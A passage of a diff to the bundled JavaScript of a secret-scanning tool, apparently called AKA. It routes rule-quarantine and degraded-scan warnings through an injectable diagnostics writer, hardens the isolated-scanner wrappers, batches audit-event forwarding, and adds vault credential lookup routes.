33910
+ const call = sink;
33911
+ const returned = call(line);
33912
+ if (returned !== void 0) Promise.resolve(returned).catch(() => void 0);
33913
+ } catch {
33914
+ }
33915
+ };
33916
+ }
33917
+
33716
33918
  // ../../packages/plugin-sdk/src/isolated-scan.ts
33717
33919
  import { existsSync as existsSync10 } from "fs";
33718
33920
  import { fileURLToPath } from "url";
@@ -33722,6 +33924,47 @@ var ISOLATED_PROBE_BUDGET_MS = 1e3;
33722
33924
  var ISOLATED_START_BUDGET_MS = 5e3;
33723
33925
  var ATTRIBUTION_MIN_RULE_MS = 500;
33724
33926
  var ATTRIBUTION_MIN_SHARE = 0.5;
33927
+ function buildIsolatedScanner(factory, data, opts) {
33928
+ let built;
33929
+ try {
33930
+ built = factory(data, opts);
33931
+ } catch (error2) {
33932
+ const failure2 = {
33933
+ status: "unavailable",
33934
+ reason: messageOf(error2)
33935
+ };
33936
+ return {
33937
+ scan: () => Promise.resolve(failure2),
33938
+ probe: () => Promise.resolve(failure2),
33939
+ close: () => Promise.resolve()
33940
+ };
33941
+ }
33942
+ return {
33943
+ scan: (text, context, jobOpts) => settleOutcome(() => built.scan(text, context, jobOpts)),
33944
+ probe: (rule) => settleOutcome(() => built.probe(rule)),
33945
+ async close() {
33946
+ try {
33947
+ await built.close();
33948
+ } catch {
33949
+ }
33950
+ }
33951
+ };
33952
+ }
33953
+ var OUTCOME_STATUSES = {
33954
+ ok: true,
33955
+ timeout: true,
33956
+ unavailable: true
33957
+ };
33958
+ async function settleOutcome(run) {
33959
+ let outcome;
33960
+ try {
33961
+ outcome = await run();
33962
+ } catch (error2) {
33963
+ return { status: "unavailable", reason: messageOf(error2) };
33964
+ }
33965
+ const status = outcome?.status;
33966
+ return typeof status === "string" && Object.hasOwn(OUTCOME_STATUSES, status) ? outcome : { status: "unavailable", reason: "the scanner answered no outcome" };
33967
+ }
33725
33968
  var resolvedWorkerUrl;
33726
33969
  function resolveWorkerUrl() {
33727
33970
  if (resolvedWorkerUrl !== void 0) return resolvedWorkerUrl ?? void 0;
@@ -34017,42 +34260,43 @@ function ruleProbeKey(rule) {
34017
34260
  if (rule.matcher.type !== "regex") return void 0;
34018
34261
  return contentHashOf(`${rule.matcher.pattern} ${rule.matcher.flags}`);
34019
34262
  }
34020
- function warn(rule, verb, detail, recoverable) {
34263
+ function warn(rule, verb, detail, recoverable, write) {
34021
34264
  const hint = recoverable ? ` (${UNQUARANTINE_HINT})` : "";
34022
- process.stderr.write(`[aka] ${verb} rule "${rule.id}": ${detail}${hint}
34023
- `);
34265
+ write(`[aka] ${verb} rule "${rule.id}": ${detail}${hint}`);
34024
34266
  }
34025
- function warnQuarantined(rule, worstMs, cached2) {
34267
+ function warnQuarantined(rule, worstMs, cached2, write) {
34026
34268
  warn(
34027
34269
  rule,
34028
34270
  "quarantined",
34029
34271
  Number.isFinite(worstMs) ? `regex matcher exceeded the ReDoS timing budget (${worstMs.toFixed(1)}ms); excluded from this scan.` : "the timing battery failed while measuring its regex matcher; excluded from this scan.",
34030
- cached2
34272
+ cached2,
34273
+ write
34031
34274
  );
34032
34275
  }
34033
- function warnUnmeasured(rule) {
34276
+ function warnUnmeasured(rule, write) {
34034
34277
  warn(
34035
34278
  rule,
34036
34279
  "skipped",
34037
34280
  "the timing pre-flight ran out of time before this rule could be measured; excluded for the rest of this run, and measured again next time.",
34038
- false
34281
+ false,
34282
+ write
34039
34283
  );
34040
34284
  }
34041
- function warnUncorroborated(rule, worstMs, corroboratedMs) {
34285
+ function warnUncorroborated(rule, worstMs, corroboratedMs, write) {
34042
34286
  warn(
34043
34287
  rule,
34044
34288
  "deferred",
34045
34289
  `its regex matcher ran past the ReDoS timing budget (${worstMs.toFixed(1)}ms) but spent only ${corroboratedMs.toFixed(1)}ms of CPU doing it, which is a busy machine rather than a slow pattern; excluded from this run and measured again next time, with nothing recorded against it.`,
34046
- false
34290
+ false,
34291
+ write
34047
34292
  );
34048
34293
  }
34049
- function warnUnmeasurable(reason, count) {
34050
- process.stderr.write(
34051
- `[aka] ${String(count)} pulled/custom-pack rule(s) could not be time-checked: ${reason}. That is a problem with this install, not with the rules \u2014 until it is fixed they are excluded from every scan on this machine. Nothing was quarantined, so reinstalling AKA brings them straight back.
34052
- `
34294
+ function warnUnmeasurable(reason, count, write) {
34295
+ write(
34296
+ `[aka] ${String(count)} pulled/custom-pack rule(s) could not be time-checked: ${reason}. That is a problem with this install, not with the rules \u2014 until it is fixed they are excluded from every scan on this machine. Nothing was quarantined, so reinstalling AKA brings them straight back.`
34053
34297
  );
34054
34298
  }
34055
- async function quarantineRule(gateway, rule, worstMs, detail) {
34299
+ async function quarantineRule(gateway, rule, worstMs, detail, diagnostics) {
34056
34300
  const key = ruleProbeKey(rule);
34057
34301
  let cached2 = false;
34058
34302
  if (key !== void 0) {
@@ -34062,11 +34306,12 @@ async function quarantineRule(gateway, rule, worstMs, detail) {
34062
34306
  } catch {
34063
34307
  }
34064
34308
  }
34065
- warn(rule, "quarantined", detail, cached2);
34309
+ warn(rule, "quarantined", detail, cached2, diagnosticWriter(diagnostics));
34066
34310
  }
34067
34311
  async function filterUnsafeRules(rules, gateway, opts) {
34068
34312
  const passBudgetMs = opts?.passBudgetMs ?? PASS_BUDGET_MS;
34069
34313
  const prober = opts?.prober;
34314
+ const write = diagnosticWriter(opts?.diagnostics);
34070
34315
  const passStart = performance.now();
34071
34316
  const safe = [];
34072
34317
  const unmeasurable = /* @__PURE__ */ new Map();
@@ -34085,11 +34330,11 @@ async function filterUnsafeRules(rules, gateway, opts) {
34085
34330
  }
34086
34331
  if (cached2) {
34087
34332
  if (cached2.verdict === "safe") safe.push(rule);
34088
- else warnQuarantined(rule, cached2.worstProbeMs, true);
34333
+ else warnQuarantined(rule, cached2.worstProbeMs, true, write);
34089
34334
  continue;
34090
34335
  }
34091
34336
  if (performance.now() - passStart >= passBudgetMs) {
34092
- warnUnmeasured(rule);
34337
+ warnUnmeasured(rule, write);
34093
34338
  continue;
34094
34339
  }
34095
34340
  let verdict;
@@ -34113,7 +34358,7 @@ async function filterUnsafeRules(rules, gateway, opts) {
34113
34358
  }
34114
34359
  }
34115
34360
  if (verdict === "uncorroborated") {
34116
- warnUncorroborated(rule, worstMs, corroboratedMs);
34361
+ warnUncorroborated(rule, worstMs, corroboratedMs, write);
34117
34362
  continue;
34118
34363
  }
34119
34364
  const isSafe = verdict === "safe";
@@ -34124,27 +34369,29 @@ async function filterUnsafeRules(rules, gateway, opts) {
34124
34369
  } catch {
34125
34370
  }
34126
34371
  if (isSafe) safe.push(rule);
34127
- else warnQuarantined(rule, worstMs, persisted);
34372
+ else warnQuarantined(rule, worstMs, persisted, write);
34128
34373
  }
34129
34374
  } finally {
34130
- for (const [reason, count] of unmeasurable) warnUnmeasurable(reason, count);
34375
+ for (const [reason, count] of unmeasurable) warnUnmeasurable(reason, count, write);
34131
34376
  }
34132
34377
  return safe;
34133
34378
  }
34134
34379
 
34135
34380
  // ../../packages/plugin-sdk/src/guarded-scan.ts
34136
34381
  var DEFAULT_DEGRADE_SCOPE = "the rest of this process";
34137
- function warnDegraded(scope, dropped, detail) {
34138
- process.stderr.write(
34139
- `[aka] isolated scanning is off for ${scope}: ${detail}. ${String(dropped)} pulled/custom-pack rule(s) are excluded; the built-in packs still run.
34140
- `
34382
+ function warnDegraded(write, scope, dropped, detail) {
34383
+ write(
34384
+ `[aka] isolated scanning is off for ${scope}: ${detail}. ${String(dropped)} pulled/custom-pack rule(s) are excluded; the built-in packs still run.`
34141
34385
  );
34142
34386
  }
34143
- function createGuardedScanner(partition, gateway, opts) {
34387
+ function createGuardedScanner(partition, gateway, opts, dependencies) {
34144
34388
  const degradeScope = opts?.degradeScope ?? DEFAULT_DEGRADE_SCOPE;
34389
+ const factory = dependencies?.isolatedScanner ?? createIsolatedScanner;
34390
+ const buildIsolated = (data, options) => buildIsolatedScanner(factory, data, options);
34391
+ const write = diagnosticWriter(dependencies?.diagnostics);
34145
34392
  const verified = partition.verified;
34146
34393
  let unverified = partition.unverified;
34147
- let isolated = unverified.length > 0 ? createIsolatedScanner({ verified, unverified }, opts) : void 0;
34394
+ let isolated = unverified.length > 0 ? buildIsolated({ verified, unverified }, opts) : void 0;
34148
34395
  let retired = false;
34149
34396
  let bounded;
34150
34397
  let boundedWarned = false;
@@ -34162,25 +34409,17 @@ function createGuardedScanner(partition, gateway, opts) {
34162
34409
  retired = true;
34163
34410
  await retire();
34164
34411
  }
34165
- async function attempt(active, text, context, attribute) {
34166
- try {
34167
- return await active.scan(text, context, { attribute });
34168
- } catch (error2) {
34169
- return {
34170
- status: "unavailable",
34171
- reason: error2 instanceof Error ? error2.message : "the scan worker failed unexpectedly"
34172
- };
34173
- }
34174
- }
34175
34412
  async function guardedScan(text, context) {
34176
34413
  const active = isolated;
34177
34414
  if (!active) return inProcess(text, context);
34178
- let outcome = await attempt(active, text, context, false);
34415
+ let outcome = await active.scan(text, context, { attribute: false });
34179
34416
  if (outcome.status === "ok") return outcome.findings;
34180
- if (outcome.status === "timeout") outcome = await attempt(active, text, context, true);
34417
+ if (outcome.status === "timeout")
34418
+ outcome = await active.scan(text, context, { attribute: true });
34181
34419
  const dropped = unverified.length;
34182
34420
  if (outcome.status === "ok") {
34183
34421
  warnDegraded(
34422
+ write,
34184
34423
  degradeScope,
34185
34424
  dropped,
34186
34425
  "a scan overran its bound once and no rule could be held responsible"
@@ -34196,16 +34435,18 @@ function createGuardedScanner(partition, gateway, opts) {
34196
34435
  gateway,
34197
34436
  culprit,
34198
34437
  outcome.elapsedMs,
34199
- `it did not finish within the ${outcome.elapsedMs.toFixed(0)}ms isolated-scan bound and was terminated; excluded from every later scan.`
34438
+ `it did not finish within the ${outcome.elapsedMs.toFixed(0)}ms isolated-scan bound and was terminated; excluded from every later scan.`,
34439
+ write
34200
34440
  );
34201
34441
  }
34202
34442
  warnDegraded(
34443
+ write,
34203
34444
  degradeScope,
34204
34445
  dropped,
34205
34446
  culprit ? `rule "${culprit.id}" had to be terminated mid-scan` : `a scan was terminated at the ${outcome.elapsedMs.toFixed(0)}ms bound and no single rule could be held responsible, so nothing was quarantined and the next process will try these rules again`
34206
34447
  );
34207
34448
  } else {
34208
- warnDegraded(degradeScope, dropped, outcome.reason);
34449
+ warnDegraded(write, degradeScope, dropped, outcome.reason);
34209
34450
  }
34210
34451
  await degrade();
34211
34452
  return inProcess(text, context);
@@ -34218,27 +34459,18 @@ function createGuardedScanner(partition, gateway, opts) {
34218
34459
  } else if (remainingMs !== void 0 && !(remainingMs > 0)) {
34219
34460
  outcome = { status: "timeout", culpritIndex: void 0, elapsedMs: 0 };
34220
34461
  } else {
34221
- bounded ??= createIsolatedScanner({ verified, unverified }, opts);
34462
+ bounded ??= buildIsolated({ verified, unverified }, opts);
34222
34463
  const deadlineAt = remainingMs === void 0 ? void 0 : performance.now() + remainingMs;
34223
- try {
34224
- outcome = await bounded.scan(text, context, {
34225
- budgetMs: bound.budgetMs,
34226
- startBudgetMs: bound.startBudgetMs,
34227
- deadlineAt
34228
- });
34229
- } catch (error2) {
34230
- outcome = {
34231
- status: "unavailable",
34232
- reason: error2 instanceof Error ? error2.message : "the scan worker failed unexpectedly"
34233
- };
34234
- }
34464
+ outcome = await bounded.scan(text, context, {
34465
+ budgetMs: bound.budgetMs,
34466
+ startBudgetMs: bound.startBudgetMs,
34467
+ deadlineAt
34468
+ });
34235
34469
  }
34236
34470
  if (outcome.status !== "ok" && bound.refuses !== false && !boundedWarned) {
34237
34471
  boundedWarned = true;
34238
- process.stderr.write(
34239
- outcome.status === "timeout" ? `[aka] a large input could not be scanned within its time limit and was refused.
34240
- ` : `[aka] a large input could not be scanned and was refused: ${outcome.reason}.
34241
- `
34472
+ write(
34473
+ outcome.status === "timeout" ? `[aka] a large input could not be scanned within its time limit and was refused.` : `[aka] a large input could not be scanned and was refused: ${outcome.reason}.`
34242
34474
  );
34243
34475
  }
34244
34476
  return outcome;
@@ -34258,11 +34490,10 @@ function createGuardedScanner(partition, gateway, opts) {
34258
34490
 
34259
34491
  // ../../packages/plugin-sdk/src/ignore-layers.ts
34260
34492
  var import_ignore = __toESM(require_ignore(), 1);
34261
- import { readFileSync as readFileSync17 } from "fs";
34262
34493
  import { join as join25 } from "path";
34263
34494
  function readIgnoreLayer(dir, filename, anchorLen) {
34264
34495
  try {
34265
- return { matcher: (0, import_ignore.default)().add(readFileSync17(join25(dir, filename), "utf8")), anchorLen };
34496
+ return { matcher: (0, import_ignore.default)().add(readRegularFile(join25(dir, filename))), anchorLen };
34266
34497
  } catch {
34267
34498
  return void 0;
34268
34499
  }
@@ -34446,6 +34677,21 @@ function readRemainingMs(largeInput) {
34446
34677
  }
34447
34678
  var keepScanners = false;
34448
34679
  var keptScanner = null;
34680
+ var SCAN_ISOLATION_KEYS = {
34681
+ budgetMs: true,
34682
+ probeBudgetMs: true,
34683
+ startBudgetMs: true,
34684
+ minAttributionMs: true,
34685
+ workerUrl: true,
34686
+ onWorkerStart: true
34687
+ };
34688
+ function sameScanIsolation(kept, given) {
34689
+ return Object.keys(SCAN_ISOLATION_KEYS).every((key) => {
34690
+ const a = kept?.[key];
34691
+ const b = given?.[key];
34692
+ return a instanceof URL && b instanceof URL ? a.href === b.href : a === b;
34693
+ });
34694
+ }
34449
34695
  async function releaseKeptScanner() {
34450
34696
  const kept = keptScanner;
34451
34697
  keptScanner = null;
@@ -34465,6 +34711,9 @@ function createPluginRuntime(gateway, settings, opts) {
34465
34711
  const dataDir2 = opts?.dataDir;
34466
34712
  const largeInput = opts?.largeInput;
34467
34713
  const blockRules = opts?.blockRules;
34714
+ const isolatedScanner = opts?.isolatedScanner;
34715
+ const diagnostics = opts?.diagnostics;
34716
+ const scanDependencies = { isolatedScanner, diagnostics };
34468
34717
  let rules = [];
34469
34718
  let evidenceOf = evidenceLookup(rules);
34470
34719
  let nameOf2 = /* @__PURE__ */ new Map();
@@ -34479,15 +34728,32 @@ function createPluginRuntime(gateway, settings, opts) {
34479
34728
  });
34480
34729
  async function scannerFor(verified, unverified) {
34481
34730
  if (!keepScanners) {
34482
- return createGuardedScanner({ verified, unverified }, gateway, opts?.scanIsolation);
34731
+ return createGuardedScanner(
34732
+ { verified, unverified },
34733
+ gateway,
34734
+ opts?.scanIsolation,
34735
+ scanDependencies
34736
+ );
34483
34737
  }
34484
34738
  const key = createHash10("sha256").update(JSON.stringify([verified, unverified])).digest("hex");
34485
- if (keptScanner !== null && keptScanner.key === key && keptScanner.gateway === gateway && !keptScanner.scanner.degraded()) {
34739
+ if (keptScanner !== null && keptScanner.key === key && keptScanner.gateway === gateway && keptScanner.isolatedScanner === isolatedScanner && sameScanIsolation(keptScanner.scanIsolation, opts?.scanIsolation) && keptScanner.diagnostics === diagnostics && !keptScanner.scanner.degraded()) {
34486
34740
  return keptScanner.scanner;
34487
34741
  }
34488
34742
  await releaseKeptScanner();
34489
- const created = createGuardedScanner({ verified, unverified }, gateway, opts?.scanIsolation);
34490
- keptScanner = { key, gateway, scanner: created };
34743
+ const created = createGuardedScanner(
34744
+ { verified, unverified },
34745
+ gateway,
34746
+ opts?.scanIsolation,
34747
+ scanDependencies
34748
+ );
34749
+ keptScanner = {
34750
+ key,
34751
+ gateway,
34752
+ isolatedScanner,
34753
+ scanIsolation: opts?.scanIsolation === void 0 ? void 0 : { ...opts.scanIsolation },
34754
+ diagnostics,
34755
+ scanner: created
34756
+ };
34491
34757
  return created;
34492
34758
  }
34493
34759
  async function ensureInitialized() {
@@ -34506,11 +34772,16 @@ function createPluginRuntime(gateway, settings, opts) {
34506
34772
  let prober;
34507
34773
  const gated = await filterUnsafeRules(needsGate, gateway, {
34508
34774
  prober: {
34509
- probe: (rule) => {
34510
- prober ??= createIsolatedScanner({ verified: [], unverified: [] }, opts?.scanIsolation);
34775
+ probe: async (rule) => {
34776
+ prober ??= buildIsolatedScanner(
34777
+ isolatedScanner ?? createIsolatedScanner,
34778
+ { verified: [], unverified: [] },
34779
+ opts?.scanIsolation
34780
+ );
34511
34781
  return prober.probe(rule);
34512
34782
  }
34513
- }
34783
+ },
34784
+ diagnostics
34514
34785
  });
34515
34786
  await prober?.close();
34516
34787
  const verified = bundle.rulesComplete ? [...ciVerified] : [...getLoadedRules(), ...ciVerified];
@@ -34773,7 +35044,7 @@ function createPluginRuntime(gateway, settings, opts) {
34773
35044
  );
34774
35045
  return { decision, excepted, exceptionIds, timingStartedAt };
34775
35046
  }
34776
- async function persistCapture(input, opts2, { decision, excepted, exceptionIds, timingStartedAt }) {
35047
+ async function persistCapture(input, opts2, { decision, excepted, exceptionIds, timingStartedAt }, alsoMasked = /* @__PURE__ */ new Set()) {
34777
35048
  const filePath = input.metadata?.filePath;
34778
35049
  if (opts2.persist === "never") return;
34779
35050
  const clean = decision.findings.length === 0 && decision.scanIncomplete === void 0;
@@ -34783,7 +35054,7 @@ function createPluginRuntime(gateway, settings, opts) {
34783
35054
  try {
34784
35055
  const contentHash = contentHashOf(input.text);
34785
35056
  const maskedFindings = decision.findings.filter(
34786
- (match) => isActionAtLeast(actionForFinding(match, excepted, opts2.rewritable), "redact")
35057
+ (match) => alsoMasked.has(match.rawMatch) || isActionAtLeast(actionForFinding(match, excepted, opts2.rewritable), "redact")
34787
35058
  );
34788
35059
  const vaulted = opts2.vault !== void 0 && decision.scanIncomplete === void 0 && input.kind === "code_change" && filePath !== void 0 && input.metadata?.wholeFile === true ? await opts2.vault.vaultSpans(input.text, decision.findings, {
34789
35060
  selected: new Set(decision.findings.filter((match) => isScanVaultable(match))),
@@ -34904,10 +35175,10 @@ function createPluginRuntime(gateway, settings, opts) {
34904
35175
  let recorded = false;
34905
35176
  return {
34906
35177
  result: evaluated.decision,
34907
- record: async () => {
35178
+ record: async (record2 = {}) => {
34908
35179
  if (recorded) return;
34909
35180
  recorded = true;
34910
- await persistCapture(input, opts2, evaluated);
35181
+ await persistCapture(input, opts2, evaluated, new Set(record2.maskValues ?? []));
34911
35182
  }
34912
35183
  };
34913
35184
  }
@@ -35691,7 +35962,9 @@ var ROUTES = {
35691
35962
  sightingKey: "/v1/sighting-key",
35692
35963
  credentialSightings: "/v1/credential-sightings",
35693
35964
  labels: "/v1/plugin/labels",
35694
- sessions: "/v1/plugin/sessions"
35965
+ sessions: "/v1/plugin/sessions",
35966
+ vaultAvailable: "/v1/vault/available",
35967
+ vaultResolve: "/v1/vault/resolve"
35695
35968
  };
35696
35969
  function ackRoute(id) {
35697
35970
  return `${ROUTES.commands}/${encodeURIComponent(id)}/ack`;
@@ -35892,6 +36165,25 @@ function createRemoteClient(options) {
35892
36165
  const response = await send({ ...common, method: "GET", url: url2(route) });
35893
36166
  if (response.status === 404) return { held: false };
35894
36167
  return parsed(SessionHoldResponse, okBody(response), route);
36168
+ },
36169
+ async listAvailableCredentials() {
36170
+ const response = await send({ ...common, method: "GET", url: url2(ROUTES.vaultAvailable) });
36171
+ if (response.status === 404) throw new RemoteRouteAbsent(ROUTES.vaultAvailable);
36172
+ return parsed(AvailableCredentialsResponse, okBody(response), ROUTES.vaultAvailable);
36173
+ },
36174
+ async resolveCredentials(request) {
36175
+ const validated = ResolveCredentialsRequest.safeParse(request);
36176
+ if (!validated.success) {
36177
+ throw new RemoteRequestInvalid(ROUTES.vaultResolve, validated.error);
36178
+ }
36179
+ const response = await send({
36180
+ ...common,
36181
+ method: "POST",
36182
+ url: url2(ROUTES.vaultResolve),
36183
+ body: JSON.stringify(validated.data)
36184
+ });
36185
+ if (response.status === 404) throw new RemoteRouteAbsent(ROUTES.vaultResolve);
36186
+ return parsed(ResolveCredentialsResponse, okBody(response), ROUTES.vaultResolve);
35895
36187
  }
35896
36188
  };
35897
36189
  }
@@ -35973,6 +36265,9 @@ var StandaloneDataGateway = class {
35973
36265
  ensureInventory(ctx) {
35974
36266
  return Promise.resolve(this.db.ensureInventory(ctx));
35975
36267
  }
36268
+ async recordAuditEvents(events) {
36269
+ for (const event of events) await this.recordAuditEvent(event);
36270
+ }
35976
36271
  recordAuditEvent(event) {
35977
36272
  if (event.rootSessionId !== void 0 && event.rootSessionId !== event.id) {
35978
36273
  this.db.auditEvents.ensureSessionRoot(event.rootSessionId, event.startedAt);
@@ -36506,7 +36801,7 @@ function sessionToolIsKeyed(tool) {
36506
36801
 
36507
36802
  // ../../packages/plugin-runtime/src/attached/config-inventory-sync.ts
36508
36803
  import { createHash as createHash12 } from "crypto";
36509
- import { readFileSync as readFileSync19 } from "fs";
36804
+ import { readFileSync as readFileSync18 } from "fs";
36510
36805
  import { join as join29 } from "path";
36511
36806
 
36512
36807
  // ../../packages/plugin-runtime/src/attached/config-inventory-wire.ts
@@ -36606,7 +36901,7 @@ async function publishByRename(tmp, file, move = rename2) {
36606
36901
 
36607
36902
  // ../../packages/plugin-runtime/src/attached/capture-settings.ts
36608
36903
  import { randomUUID as randomUUID18 } from "crypto";
36609
- import { readFileSync as readFileSync18 } from "fs";
36904
+ import { readFileSync as readFileSync17 } from "fs";
36610
36905
  import { rm, writeFile as writeFile2 } from "fs/promises";
36611
36906
  import { join as join27 } from "path";
36612
36907
  var HookCaptureSettingsSchema = CaptureSettings.pick({
@@ -37077,7 +37372,7 @@ function machineWideDigest(requests) {
37077
37372
  function readStagedEntries(dataDir2) {
37078
37373
  let parsed2;
37079
37374
  try {
37080
- parsed2 = JSON.parse(readFileSync19(stagedConfigInventoryPath(dataDir2), "utf8"));
37375
+ parsed2 = JSON.parse(readFileSync18(stagedConfigInventoryPath(dataDir2), "utf8"));
37081
37376
  } catch {
37082
37377
  return [];
37083
37378
  }
@@ -37111,7 +37406,7 @@ function readStagedReports(dataDir2) {
37111
37406
  function readDelivered(dataDir2, attachment) {
37112
37407
  const empty = { attachment, reports: {}, global: {} };
37113
37408
  try {
37114
- const parsed2 = JSON.parse(readFileSync19(configInventoryStatePath(dataDir2), "utf8"));
37409
+ const parsed2 = JSON.parse(readFileSync18(configInventoryStatePath(dataDir2), "utf8"));
37115
37410
  if (parsed2?.attachment !== attachment) return empty;
37116
37411
  const reports = {};
37117
37412
  for (const [key, value] of Object.entries(asRecord(parsed2.reports))) {
@@ -37152,7 +37447,7 @@ function asRecord(value) {
37152
37447
  }
37153
37448
 
37154
37449
  // ../../packages/plugin-runtime/src/attached/forward-drops.ts
37155
- import { readFileSync as readFileSync20 } from "fs";
37450
+ import { readFileSync as readFileSync19 } from "fs";
37156
37451
  import { join as join30 } from "path";
37157
37452
  var FORWARD_DROPS_FILENAME = ATTACHED_FORWARD_DROPS_FILENAME;
37158
37453
  function forwardDropsPath(dataDir2) {
@@ -37174,7 +37469,7 @@ function recordForwardDrops(dataDir2, count, nowMs) {
37174
37469
  }
37175
37470
  function readForwardDrops(dataDir2) {
37176
37471
  try {
37177
- const parsed2 = JSON.parse(readFileSync20(forwardDropsPath(dataDir2), "utf8"));
37472
+ const parsed2 = JSON.parse(readFileSync19(forwardDropsPath(dataDir2), "utf8"));
37178
37473
  if (typeof parsed2 !== "object" || parsed2 === null) return null;
37179
37474
  const record2 = parsed2;
37180
37475
  if (typeof record2.droppedForwards !== "number" || !Number.isFinite(record2.droppedForwards)) {
@@ -37621,6 +37916,15 @@ var AttachedDataGateway = class {
37621
37916
  const forwarded = await this.deps.forward.run(() => this.deps.client.recordAuditEvent(wire));
37622
37917
  if (forwarded.ok) this.deps.local.markAuditEventsDelivered([event], Date.now());
37623
37918
  }
37919
+ // Each row is written locally, then the ones the scope verdict lets out are forwarded in
37920
+ // batches of AUDIT_EVENT_BATCH_MAX, stamped as they land, as `recordToolCalls` forwards.
37921
+ async recordAuditEvents(events) {
37922
+ const { local } = this.deps;
37923
+ if (local.recordAuditEvents) await local.recordAuditEvents(events);
37924
+ else for (const event of events) await local.recordAuditEvent(event);
37925
+ const forwardable = events.filter((event) => this.auditVerdict(event) !== "local");
37926
+ await this.forwardBatch(await this.wireEvents(forwardable), (event) => event);
37927
+ }
37624
37928
  // Attached `llm_call` is written locally by the inner gateway, then routed to
37625
37929
  // the control plane through the existing `recordAuditEvent` ingest (no dedicated
37626
37930
  // client method yet) by pre-building the audit event from the natural key.
@@ -38278,7 +38582,7 @@ function toWireInspection(insp, nameKey) {
38278
38582
  }
38279
38583
 
38280
38584
  // ../../packages/plugin-runtime/src/attached/plugin-block.ts
38281
- import { readFileSync as readFileSync21 } from "fs";
38585
+ import { readFileSync as readFileSync20 } from "fs";
38282
38586
 
38283
38587
  // ../../packages/plugin-runtime/src/attached/install-record.ts
38284
38588
  import { readFile as readFile3, stat } from "fs/promises";
@@ -38351,7 +38655,7 @@ async function readInstalledVersionBounded(installRoot) {
38351
38655
  }
38352
38656
 
38353
38657
  // ../../packages/plugin-runtime/src/attached/posture-report-state.ts
38354
- import { readFileSync as readFileSync22 } from "fs";
38658
+ import { readFileSync as readFileSync21 } from "fs";
38355
38659
  import { join as join32 } from "path";
38356
38660
  var POSTURE_REPORT_STATE_FILENAME = ATTACHED_POSTURE_REPORT_FILENAME;
38357
38661
  var OUTCOME_KEYS = {
@@ -38627,7 +38931,7 @@ function createPostureStore(dir = settingsDir(), legacyDir) {
38627
38931
  }
38628
38932
 
38629
38933
  // ../../packages/plugin-runtime/src/attached/label-drops.ts
38630
- import { readFileSync as readFileSync23 } from "fs";
38934
+ import { readFileSync as readFileSync22 } from "fs";
38631
38935
  import { join as join34 } from "path";
38632
38936
  function path(dataDir2) {
38633
38937
  return join34(dataDir2, ATTACHED_LABEL_SYNC_FILENAME);
@@ -38648,7 +38952,7 @@ function recordUnsendableLabels(dataDir2, count, nowMs) {
38648
38952
  }
38649
38953
  function readUnsendableLabels(dataDir2) {
38650
38954
  try {
38651
- const parsed2 = JSON.parse(readFileSync23(path(dataDir2), "utf8"));
38955
+ const parsed2 = JSON.parse(readFileSync22(path(dataDir2), "utf8"));
38652
38956
  if (typeof parsed2 !== "object" || parsed2 === null) return null;
38653
38957
  const record2 = parsed2;
38654
38958
  if (typeof record2.unsendable !== "number" || !Number.isFinite(record2.unsendable)) return null;
@@ -38661,7 +38965,7 @@ function readUnsendableLabels(dataDir2) {
38661
38965
  }
38662
38966
 
38663
38967
  // ../../packages/plugin-runtime/src/attached/sync-state.ts
38664
- import { readFileSync as readFileSync24 } from "fs";
38968
+ import { readFileSync as readFileSync23 } from "fs";
38665
38969
  import { join as join35 } from "path";
38666
38970
  var SYNC_STATE_FILENAME = ATTACHED_SYNC_STATE_FILENAME;
38667
38971
  function syncStatePath(dataDir2) {
@@ -39219,6 +39523,9 @@ import { spawn as spawn2 } from "child_process";
39219
39523
  import { fileURLToPath as fileURLToPath3 } from "url";
39220
39524
  var SYNC_THROTTLE_MS = 15 * 60 * 1e3;
39221
39525
 
39526
+ // ../../packages/plugin-runtime/src/attached/vault-credentials.ts
39527
+ import { dirname as dirname11 } from "path";
39528
+
39222
39529
  // ../../packages/plugin-runtime/src/content-retention-pass.ts
39223
39530
  var MAX_ROWS_PER_SWEEP = 50 * 1e3;
39224
39531
 
@@ -39238,7 +39545,7 @@ function resolveDataGateway(config2, meta3, gatewayFactory = defaultGatewayFacto
39238
39545
  import { randomUUID as randomUUID21 } from "crypto";
39239
39546
 
39240
39547
  // ../../packages/plugin-runtime/src/attached/forwarding-line.ts
39241
- import { dirname as dirname11 } from "path";
39548
+ import { dirname as dirname12 } from "path";
39242
39549
 
39243
39550
  // ../../packages/plugin-runtime/src/handle-session-start.ts
39244
39551
  var EXCEPTION_RETENTION_MS = 90 * 24 * 60 * 60 * 1e3;
@@ -39277,14 +39584,14 @@ var DISCOVER_SKIP = /* @__PURE__ */ new Set([
39277
39584
  import { basename as basename6, relative as relative3 } from "path";
39278
39585
 
39279
39586
  // ../../packages/scanner/src/scan.ts
39280
- import { existsSync as existsSync13, readFileSync as readFileSync26 } from "fs";
39281
- import { dirname as dirname13, extname as extname2, isAbsolute as isAbsolute4, relative as relative5 } from "path";
39587
+ import { existsSync as existsSync13, readFileSync as readFileSync25 } from "fs";
39588
+ import { dirname as dirname14, extname as extname2, isAbsolute as isAbsolute4, relative as relative5 } from "path";
39282
39589
 
39283
39590
  // ../../packages/scanner/src/manifests.ts
39284
39591
  import { statSync as statSync11 } from "fs";
39285
39592
 
39286
39593
  // ../../packages/scanner/src/walk.ts
39287
- import { readdirSync as readdirSync5, readFileSync as readFileSync25, statSync as statSync10 } from "fs";
39594
+ import { readdirSync as readdirSync5, readFileSync as readFileSync24, statSync as statSync10 } from "fs";
39288
39595
  import { homedir as homedir3 } from "os";
39289
39596
  import { join as join38, relative as relative4, sep as sep7 } from "path";
39290
39597
  var import_ignore2 = __toESM(require_ignore(), 1);
@@ -39412,7 +39719,7 @@ function* walkSourceFiles(opts = {}) {
39412
39719
  if (opts.shouldRead && !opts.shouldRead(meta3)) continue;
39413
39720
  let content;
39414
39721
  try {
39415
- content = readFileSync25(file.path, "utf8");
39722
+ content = readFileSync24(file.path, "utf8");
39416
39723
  } catch {
39417
39724
  continue;
39418
39725
  }
@@ -39452,7 +39759,7 @@ function computeResolutions(prior, current) {
39452
39759
 
39453
39760
  // ../../packages/scanner/src/scope-key.ts
39454
39761
  import { existsSync as existsSync12 } from "fs";
39455
- import { dirname as dirname12, join as join39, posix as posix2, resolve as resolve5 } from "path";
39762
+ import { dirname as dirname13, join as join39, posix as posix2, resolve as resolve5 } from "path";
39456
39763
  function scopeKeysUnder(rootDir) {
39457
39764
  const base = resolve5(rootDir);
39458
39765
  let aboveBase;
@@ -39465,7 +39772,7 @@ function scopeKeysUnder(rootDir) {
39465
39772
  root = dir;
39466
39773
  break;
39467
39774
  }
39468
- const parent = dirname12(dir);
39775
+ const parent = dirname13(dir);
39469
39776
  if (parent === dir) break;
39470
39777
  dir = parent;
